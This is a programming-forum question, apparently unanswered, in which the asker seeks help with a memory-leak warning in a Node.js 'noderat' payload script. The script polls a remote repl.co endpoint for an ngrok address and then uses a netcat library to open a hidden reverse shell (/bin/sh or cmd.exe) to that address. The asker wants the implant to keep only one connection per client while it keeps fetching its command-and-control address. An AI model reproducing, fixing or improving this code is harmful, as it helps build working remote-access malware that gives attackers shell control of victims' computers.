Node.js Memory leak? Am I doing something wrong or is it a problem with a package?

Viewed 277

Im trying to make my netcat client fetch the ngrok url to connect to that is pushed from a controlling server/admin and I want the client to fetch the url until the server actually pushes a url onto the url displaying server then stop because i dont want 50000 netcat connections if possible would like to adjust the amount of time the client takes before trying to fetch for the url again. Is there a way to only allow a maximum of one connection per client? im trying to make the payload off netrat scrape the ip to connect to off a secondary api i built but im not sure how i can have it scrape the url every few seconds without it also starting a new connection as well.

At first when i was running this code for the first time it worked perfectly and actually connected to the netcat server once then exited like it was supposed to but after that very first time no matter what it errors out before connecting even once i also tried using require('events').EventEmitter.defaultMaxListeners = 1; and the same thing happened but a different error

`MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81799) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 SIGWINCH listeners added to [process]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.
MacBook-Pro:noderat (me)$ node '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:81802) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
There was an issue running this application, please try running it again.`

first error was the first event emitter limiter i used second error is the second event emitter limiter

heres with node trace warnings:

node --trace-warnings '/Users/(me)/Desktop/noderat/builder/client/payload/netrat-shell.js'
(node:82045) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 2 newListener listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
    at _addListener (events.js:390:17)
    at TLSSocket.addListener (events.js:406:10)
    at TLSSocket.Readable.on (internal/streams/readable.js:858:35)
    at TLSSocket._init (_tls_wrap.js:716:10)
    at new TLSSocket (_tls_wrap.js:512:8)
    at Object.connect (_tls_wrap.js:1582:19)
    at Agent.createConnection (https.js:129:22)
    at Agent.createSocket (_http_agent.js:323:26)
    at Agent.addRequest (_http_agent.js:274:10)
    at new ClientRequest (_http_client.js:306:16)
There was an issue running this application, please try running it again.

require('events').EventEmitter.prototype._maxListeners = 1;
const NetcatClient = require('netcat').client
const fetch = require('node-fetch')

let fetching = setInterval(() => {
    fetch('https://cp8g7s13rgmie4szykd6ytmsbd1zujckrfjajiy4vyephv0bbfhfbiwaoolv.1337sec.repl.co/url')
    .then(res => res.text())
        .then(text => {


            CMD = 'macos' === 'win' ? 'cmd.exe' : '/bin/sh'
            RHOST = text.slice(6, 20)
            RPORT = parseInt(text.slice(21, 26))
            RETRY = 3
            console.log(RHOST)
            console.log(RPORT)
            nc.addr(RHOST).port(RPORT).retry(RETRY).connect().exec(CMD, [], {
                windowsHide: true
            })
        })
}, 3000)

process.on('warning', function(err) {
  if ('MaxListenersExceededWarning' == err.name) {
    clearInterval(fetching);
      console.log('There was an issue running this application, please try running it again.')
      process.exit(1)
  }
});

0 Answers
Related